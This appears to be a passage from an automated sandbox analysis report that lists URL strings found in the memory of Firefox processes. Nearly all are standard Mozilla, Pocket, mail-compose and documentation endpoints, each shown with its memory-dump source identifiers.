Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sFirst
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordstrans
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Script
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.comP4O
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B2F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E20CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehttps://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsimprovesearch.noDefaultSearchTiletelemetry.structuredIngestion.
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000002.2916904848.000001F5D6C03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000003.2862952465.000001F5E2270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2862536752.000001F5E2279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000003.2862952465.000001F5E2270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2862536752.000001F5E2279000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777830670.000001F5D973C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsexperiment-apis/abo
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2901864507.000001F5D54F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeDownloadsimprovesearch.topSit
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001A.00000002.2955760839.000001F5D9B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2961522707.000001F5DA415000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%pack=buttonpack
Source: firefox.exe, 0000001A.00000002.2955760839.000001F5D9B30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2961522707.000001F5DA4A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D945D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.comH
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBE0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjs2e1fac17-9068-4561-b72a-c1
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2916904848.000001F5D6C21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6AD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
